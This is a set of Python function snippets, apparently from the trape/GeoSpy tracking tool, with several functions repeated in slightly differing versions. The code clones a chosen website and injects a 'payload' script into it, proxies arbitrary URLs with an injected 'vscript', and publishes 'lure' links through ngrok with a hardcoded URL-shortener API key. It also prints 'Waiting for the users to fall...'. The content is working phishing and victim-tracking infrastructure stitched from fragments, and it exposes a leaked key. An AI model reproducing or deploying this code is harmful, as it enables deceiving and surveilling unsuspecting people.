def homeVictim(): opener = urllib2.build_opener() headers = victim_headers(request.user_agent) opener.addheaders = headers """ clone_html = opener.open(trape.url_to_clone).read() soup = BeautifulSoup(clone_html, 'lxml') parsed_uri = urlparse(trape.url_to_clone) domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri) for s in soup.find_all('script'): url = s.get('src') if url is not None: if url.startswith('/'): clone_html = clone_html.replace(url, domain + url) for css in soup.find_all('link'): url = css.get('href') if url is not None: if url.startswith('/'): clone_html = clone_html.replace(url, domain + url) for img in soup.find_all('img'): url = img.get('src') if url is not None: if url.startswith('/'): clone_html = clone_html.replace(url, domain + url) """ if (trape.type_lure == 'local'): html = assignScripts(victim_inject_code(render_template("/" + trape.url_to_clone), 'payload', '/', trape.gmaps)) else: html = assignScripts(victim_inject_code(opener.open(trape.url_to_clone).read(), 'payload', trape.url_to_clone, trape.gmaps)) return html
def homeVictim(): opener = urllib2.build_opener() headers = victim_headers(request.user_agent) opener.addheaders = headers """ clone_html = opener.open(GeoSpy.url_to_clone).read() soup = BeautifulSoup(clone_html, 'lxml') parsed_uri = urlparse(GeoSpy.url_to_clone) domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri) for s in soup.find_all('script'): url = s.get('src') if url is not None: if url.startswith('/'): clone_html = clone_html.replace(url, domain + url) for css in soup.find_all('link'): url = css.get('href') if url is not None: if url.startswith('/'): clone_html = clone_html.replace(url, domain + url) for img in soup.find_all('img'): url = img.get('src') if url is not None: if url.startswith('/'): clone_html = clone_html.replace(url, domain + url) """ if (GeoSpy.type_lure == 'local'): html = assignScripts(victim_inject_code(render_template("/" + GeoSpy.url_to_clone), 'payload', '/', GeoSpy.gmaps)) else: html = assignScripts(victim_inject_code(opener.open(GeoSpy.url_to_clone).read(), 'payload', GeoSpy.url_to_clone, GeoSpy.gmaps)) return html
def header(self): if self.stat == 1: # Principal header of tool utils.banner() # Update verification changeLog = requests.get("https://raw.githubusercontent.com/jofpin/trape/master/version.txt", timeout = 4) changeLog = changeLog.text.split(" ")[1] changeLog = changeLog.strip() if changeLog != self.version: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color['redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)") utils.Go("") else: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white']) utils.Go("") # Local information vars utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) utils.Go("") if self.ngrok != '': if self.googl == '': self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' try: opener = urllib2.build_opener() pLog = 4040 ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') time.sleep(0.5) ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos <= 0: time.sleep(4) ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos >= 0: ngrokStatus = ngrokStatus[ngrokUrlPos-25:ngrokUrlPos+28] ngrokUrlPos = ngrokStatus.find('http') ngrokUrlPos2 = ngrokStatus.find('.io') ngrokStatus = ngrokStatus[ngrokUrlPos: ngrokUrlPos2] + '.io' utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") r = utils.gShortener(self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) self.nGrokUrl = ngrokStatus.replace('https', 'http') utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white']) else: utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) except Exception as e: utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e.message) utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) utils.Go("\n" + utils.Color['white']) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Do not forget to close " + self.name_trape + ", after use. Press Control C" + " " + utils.Color['white'] + '\n') utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the users to fall..." + "\n")
def redirectVictim(): url = request.args.get('url') if url[0:4] != 'http': url = 'http://' + url opener = urllib2.build_opener() headers = victim_headers(request.user_agent) opener.addheaders = headers html = assignScripts(victim_inject_code(opener.open(url).read(), 'vscript', url, GeoSpy.gmaps)) return html
def redirectVictim(): url = request.args.get('url') if url[0:4] != 'http': url = 'http://' + url opener = urllib2.build_opener() headers = victim_headers(request.user_agent) opener.addheaders = headers html = assignScripts(victim_inject_code(opener.open(url).read(), 'vscript', url, trape.gmaps)) return html
def header(self): if self.stat == 1: # Principal header of tool utils.banner() # Update verification changeLog = requests.get("https://raw.githubusercontent.com/jofpin/trape/master/version.txt", timeout = 4) changeLog = changeLog.text.split(" ")[1] changeLog = changeLog.strip() if changeLog != self.version: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color['redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)") utils.Go("") else: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white']) utils.Go("") # Local information vars utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) utils.Go("") if self.ngrok != '': if self.googl == '': self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' try: opener = urllib2.build_opener() ''' time.sleep(1.5) fileLog = open(self.stats_path + '.nlog', 'r') log = fileLog.read().replace('\n', '').replace(' ', '') pLog = log.find('127.0.0.1:') + 10 pLog = int(log[pLog:pLog+4]) fileLog.close() os.remove(self.stats_path + '.nlog') ''' pLog = 4040 ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') time.sleep(0.5) ngrokUrlPos = ngrokStatus.find('ngrok.io')
def home_get_title(): opener = urllib2.build_opener() html = opener.open(trape.url_to_clone).read() html = html[html.find('<title>') + 7:html.find('</title>')] return json.dumps({'status': 'OK', 'title': html})
def home_get_title(): opener = urllib2.build_opener() html = opener.open(trape.url_to_clone).read() html = html[html.find('<title>') + 7 : html.find('</title>')] return json.dumps({'status' : 'OK', 'title' : html})
def header(self): if self.stat == 1: utils.banner() utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) utils.Go("") if self.ngrok != '': if self.googl == '': self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' try: opener = urllib2.build_opener() time.sleep(1.5) fileLog = open(self.stats_path + '.nlog', 'r') log = fileLog.read().replace('\n', '').replace(' ', '') pLog = log.find('127.0.0.1:') + 10 pLog = int(log[pLog:pLog + 4]) fileLog.close() os.remove(self.stats_path + '.nlog') ngrokStatus = str( opener.open('http://127.0.0.1:' + str(pLog) + '/status').read()).replace( '\n', '').replace(' ', '') time.sleep(0.5) ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos <= 0: time.sleep(4) ngrokStatus = str( opener.open('http://127.0.0.1:' + str(pLog) + '/status').read()).replace( '\n', '').replace(' ', '') ngrokUrlPos = ngrokStatus.find('ngrok.io') if ngrokUrlPos >= 0: ngrokStatus = ngrokStatus[ngrokUrlPos - 25:ngrokUrlPos + 28] ngrokUrlPos = ngrokStatus.find('http') ngrokUrlPos2 = ngrokStatus.find('.io') ngrokStatus = ngrokStatus[ ngrokUrlPos:ngrokUrlPos2] + '.io' utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end']) utils.Go("\t" + "-------------------") r = utils.gShortener( self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) gooGl = json.loads(r._content) if r.status_code == 200: utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Link shortened lure: " + utils.Color['blue'] + gooGl['id'] + utils.Color['white'] + " " + "(share)") else: utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + gooGl['error']['reason']) self.nGrokUrl = ngrokStatus.replace('https', 'http') utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white']) else: utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) except Exception as e: utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e) utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) utils.Go("\n" + utils.Color['white']) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Do not forget to close " + self.name_trape + ", after use. Press Control C" + " " + utils.Color['white'] + '\n') utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the users to fall..." + "\n")